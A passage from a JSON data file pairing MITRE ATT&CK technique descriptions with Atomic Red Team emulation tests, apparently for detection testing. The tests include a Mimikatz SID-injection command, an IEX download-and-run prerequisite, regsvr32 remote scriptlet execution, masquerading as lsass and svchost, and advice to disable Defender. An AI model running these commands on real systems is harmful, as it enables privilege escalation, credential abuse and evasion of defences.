- "dependencies": [
- {
- "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n",
- "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "#{mimikatz_path} \"privilege::debug\" \"sid::patch\" \"sid::add /sid:#{sid_to_inject} /sam:#{sam_account_name}\" \"exit\"\n",
- "cleanup_command": "#{mimikatz_path} \"sid::clear /sam:#{sam_account_name}\" \"exit\"\n"
- }
- }
- ]
- },
- "T1599": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166",
- "created": "2020-10-19T16:08:29.817Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1599",
- "url": "https://attack.mitre.org/techniques/T1599"
- },
- {
- "source_name": "Kaspersky ThreatNeedle Feb 2021",
- "url": "https://securelist.com/lazarus-threatneedle/100803/",
- "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.",
- "modified": "2022-05-05T05:05:44.200Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Network Boundary Bridging",
- "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\n\nMonitor the border network device\u2019s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_defense_bypassed": [
- "Firewall",
- "System Access Controls"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1553": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7",
- "created": "2020-02-05T14:54:07.588Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1553",
- "url": "https://attack.mitre.org/techniques/T1553"
- },
- {
- "source_name": "SpectorOps Code Signing Dec 2017",
- "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
- "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018."
- },
- {
- "source_name": "SpectorOps Subverting Trust Sept 2017",
- "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf",
- "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018."
- },
- {
- "source_name": "Securelist Digital Certificates",
- "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
- "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016."
- },
- {
- "source_name": "Symantec Digital Certificates",
- "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates",
- "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ",
- "modified": "2022-05-05T05:04:52.387Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Subvert Trust Controls",
- "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as xattr
. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "File: File Metadata",
- "File: File Modification",
- "Windows Registry: Windows Registry Key Modification",
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Creation",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Autoruns Analysis",
- "Digital Certificate Validation",
- "User Mode Signature Validation",
- "Windows User Account Control",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1548.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jimmy Astle, @AstleJimmy, Carbon Black",
- "Erika Noerenberg, @gutterchurl, Carbon Black"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0",
- "type": "attack-pattern",
- "created": "2020-01-30T14:40:20.187Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1548.004",
- "url": "https://attack.mitre.org/techniques/T1548/004"
- },
- {
- "source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
- "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg",
- "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019."
- },
- {
- "source_name": "Death by 1000 installers; it's all broken!",
- "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8",
- "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."
- },
- {
- "source_name": "Carbon Black Shlayer Feb 2019",
- "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/",
- "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."
- },
- {
- "source_name": "OSX Coldroot RAT",
- "url": "https://objective-see.com/blog/blog_0x2A.html",
- "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019."
- }
- ],
- "modified": "2020-03-27T12:04:37.823Z",
- "name": "Elevated Execution with Prompt",
- "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges
API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges
to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Consider monitoring for /usr/libexec/security_authtrampoline
executions which may indicate that AuthorizationExecuteWithPrivileges
is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges
is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1218.010": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Casey Smith"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
- "type": "attack-pattern",
- "created": "2020-01-23T19:52:17.414Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1218.010",
- "url": "https://attack.mitre.org/techniques/T1218/010"
- },
- {
- "source_name": "Microsoft Regsvr32",
- "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
- "url": "https://support.microsoft.com/en-us/kb/249873"
- },
- {
- "source_name": "LOLBAS Regsvr32",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/",
- "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019."
- },
- {
- "source_name": "Carbon Black Squiblydoo Apr 2016",
- "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
- "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
- },
- {
- "source_name": "FireEye Regsvr32 Targeting Mongolian Gov",
- "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
- "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html"
- }
- ],
- "modified": "2022-03-11T20:41:41.503Z",
- "name": "Signed Binary Proxy Execution: Regsvr32",
- "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Network Traffic: Network Connection Creation",
- "Process: Process Creation",
- "Module: Module Load"
- ],
- "x_mitre_defense_bypassed": [
- "Digital Certificate Validation",
- "Anti-virus",
- "Application control"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1218.010"
- },
- "atomic_tests": [
- {
- "name": "Regsvr32 local COM scriptlet execution",
- "auto_generated_guid": "449aa403-6aba-47ce-8a37-247d21ef0306",
- "description": "Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "filename": {
- "description": "Name of the local file, include path.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.010\\src\\RegSvr32.sct"
- },
- "regsvr32path": {
- "description": "Default location of Regsvr32.exe",
- "type": "path",
- "default": "C:\\Windows\\system32"
- },
- "regsvr32name": {
- "description": "Default name of Regsvr32.exe",
- "type": "string",
- "default": "regsvr32.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Regsvr32.sct must exist on disk at specified location (#{filename})\n",
- "prereq_command": "if (Test-Path #{filename}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct\" -OutFile \"#{filename}\"\n"
- }
- ],
- "executor": {
- "command": "#{regsvr32path}\\#{regsvr32name} /s /u /i:#{filename} scrobj.dll\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Regsvr32 remote COM scriptlet execution",
- "auto_generated_guid": "c9d0c4ef-8a96-4794-a75b-3d3a5e6f2a36",
- "description": "Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable\nwindows defender real-time protection to fix it. Upon execution, calc.exe will be launched.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "url": {
- "description": "URL to hosted sct file",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct"
- },
- "regsvr32path": {
- "description": "Default location of Regsvr32.exe",
- "type": "path",
- "default": "C:\\Windows\\system32"
- },
- "regsvr32name": {
- "description": "Default name of Regsvr32.exe",
- "type": "string",
- "default": "regsvr32.exe"
- }
- },
- "executor": {
- "command": "#{regsvr32path}\\#{regsvr32name} /s /u /i:#{url} scrobj.dll\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Regsvr32 local DLL execution",
- "auto_generated_guid": "08ffca73-9a3d-471a-aeb0-68b4aa3ab37b",
- "description": "Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_name": {
- "description": "Name of DLL to Execute, DLL Should export DllRegisterServer",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll"
- },
- "regsvr32path": {
- "description": "Default location of Regsvr32.exe",
- "type": "path",
- "default": "C:\\Windows\\system32"
- },
- "regsvr32name": {
- "description": "Default name of Regsvr32.exe",
- "type": "string",
- "default": "regsvr32.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})\n",
- "prereq_command": "if (Test-Path #{dll_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll\" -OutFile \"#{dll_name}\"\n"
- }
- ],
- "executor": {
- "command": "IF \"%PROCESSOR_ARCHITECTURE%\"==\"AMD64\" (C:\\Windows\\syswow64\\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\\#{regsvr32name} /s #{dll_name} )\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Regsvr32 Registering Non DLL",
- "auto_generated_guid": "1ae5ea1f-0a4e-4e54-b2f5-4ac328a7f421",
- "description": "Replicating observed Gozi maldoc behavior registering a dll with an altered extension\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_file": {
- "description": "Path to renamed dll file to be registered",
- "type": "path",
- "default": "%temp%\\shell32.jpg"
- },
- "regsvr32path": {
- "description": "Default location of Regsvr32.exe",
- "type": "path",
- "default": "C:\\Windows\\system32"
- },
- "regsvr32name": {
- "description": "Default name of Regsvr32.exe",
- "type": "string",
- "default": "regsvr32.exe"
- }
- },
- "dependency_executor_name": "command_prompt",
- "dependencies": [
- {
- "description": "Test requires a renamed dll file\n",
- "prereq_command": "if exist #{dll_file} ( exit 0 ) else ( exit 1 )\n",
- "get_prereq_command": "copy \"C:\\Windows\\System32\\shell32.dll\" \"#{dll_file}\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "#{regsvr32path}\\#{regsvr32name} /s #{dll_file}\n",
- "cleanup_command": "#{regsvr32path}\\#{regsvr32name} /U /s #{dll_file}\n"
- }
- },
- {
- "name": "Regsvr32 Silent DLL Install Call DllRegisterServer",
- "auto_generated_guid": "9d71c492-ea2e-4c08-af16-c6994cdf029f",
- "description": "Regsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_name": {
- "description": "Name of DLL to Install",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll"
- },
- "regsvr32path": {
- "description": "Default location of Regsvr32.exe",
- "type": "string",
- "default": "C:\\Windows\\system32"
- },
- "regsvr32name": {
- "description": "Default name of Regsvr32.exe",
- "type": "string",
- "default": "regsvr32.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})",
- "prereq_command": "if (Test-Path #{dll_name}) {exit 0} else {exit 1}",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll\" -OutFile \"#{dll_name}\""
- }
- ],
- "executor": {
- "command": "#{regsvr32path}\\#{regsvr32name} /s /i #{dll_name}",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1036.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
- "type": "attack-pattern",
- "created": "2020-02-10T20:03:11.691Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1036.003",
- "url": "https://attack.mitre.org/techniques/T1036/003"
- },
- {
- "source_name": "LOLBAS Main Site",
- "url": "https://lolbas-project.github.io/",
- "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020."
- },
- {
- "source_name": "Elastic Masquerade Ball",
- "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
- "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf"
- },
- {
- "source_name": "F-Secure CozyDuke",
- "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
- "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"
- },
- {
- "source_name": "Twitter ItsReallyNick Masquerading Update",
- "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457",
- "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019."
- }
- ],
- "modified": "2020-11-23T17:03:38.941Z",
- "name": "Masquerading: Rename System Utilities",
- "description": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe
). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Metadata",
- "File: File Modification",
- "Command: Command Execution",
- "Process: Process Metadata"
- ],
- "identifier": "T1036.003"
- },
- "atomic_tests": [
- {
- "name": "Masquerading as Windows LSASS process",
- "auto_generated_guid": "5ba5a3d1-cf3c-4499-968a-a93155d1f717",
- "description": "Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe.\n\nUpon execution, cmd will be launched by powershell. If using Invoke-AtomicTest, The test will hang until the 120 second timeout cancels the session\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "copy %SystemRoot%\\System32\\cmd.exe %SystemRoot%\\Temp\\lsass.exe\n%SystemRoot%\\Temp\\lsass.exe /B\n",
- "cleanup_command": "del /Q /F %SystemRoot%\\Temp\\lsass.exe >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Masquerading - cscript.exe running as notepad.exe",
- "auto_generated_guid": "3a2a578b-0a01-46e4-92e3-62e2859b42f0",
- "description": "Copies cscript.exe, renames it, and launches it to masquerade as an instance of notepad.exe.\n\nUpon successful execution, cscript.exe is renamed as notepad.exe and executed from non-standard path.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "copy %SystemRoot%\\System32\\cscript.exe %APPDATA%\\notepad.exe /Y\ncmd.exe /c %APPDATA%\\notepad.exe /B\n",
- "cleanup_command": "del /Q /F %APPDATA%\\notepad.exe >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Masquerading - wscript.exe running as svchost.exe",
- "auto_generated_guid": "24136435-c91a-4ede-9da1-8b284a1c1a23",
- "description": "Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe.\n\nUpon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "copy %SystemRoot%\\System32\\wscript.exe %APPDATA%\\svchost.exe /Y\ncmd.exe /c %APPDATA%\\svchost.exe /B\n",
- "cleanup_command": "del /Q /F %APPDATA%\\svchost.exe >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Masquerading - powershell.exe running as taskhostw.exe",
- "auto_generated_guid": "ac9d0fc3-8aa8-4ab5-b11f-682cd63b40aa",
- "description": "Copies powershell.exe, renames it, and launches it to masquerade as an instance of taskhostw.exe.\n\nUpon successful execution, powershell.exe is renamed as taskhostw.exe and executed from non-standard path.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\taskhostw.exe /Y\ncmd.exe /K %APPDATA%\\taskhostw.exe\n",
- "cleanup_command": "del /Q /F %APPDATA%\\taskhostw.exe >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Masquerading - non-windows exe running as windows exe",
- "auto_generated_guid": "bc15c13f-d121-4b1f-8c7d-28d95854d086",
- "description": "Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe\n\nUpon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "outputfile": {
- "description": "path of file to execute",
- "type": "path",
- "default": "($env:TEMP + \"\\svchost.exe\")"
- },
- "inputfile": {
- "description": "path of file to copy",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1036.003\\bin\\T1036.003.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Exe file to copy must exist on disk at specified location (#{inputfile})\n",
- "prereq_command": "if (Test-Path #{inputfile}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{inputfile}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/bin/T1036.003.exe\" -OutFile \"#{inputfile}\"\n"
- }
- ],
- "executor": {
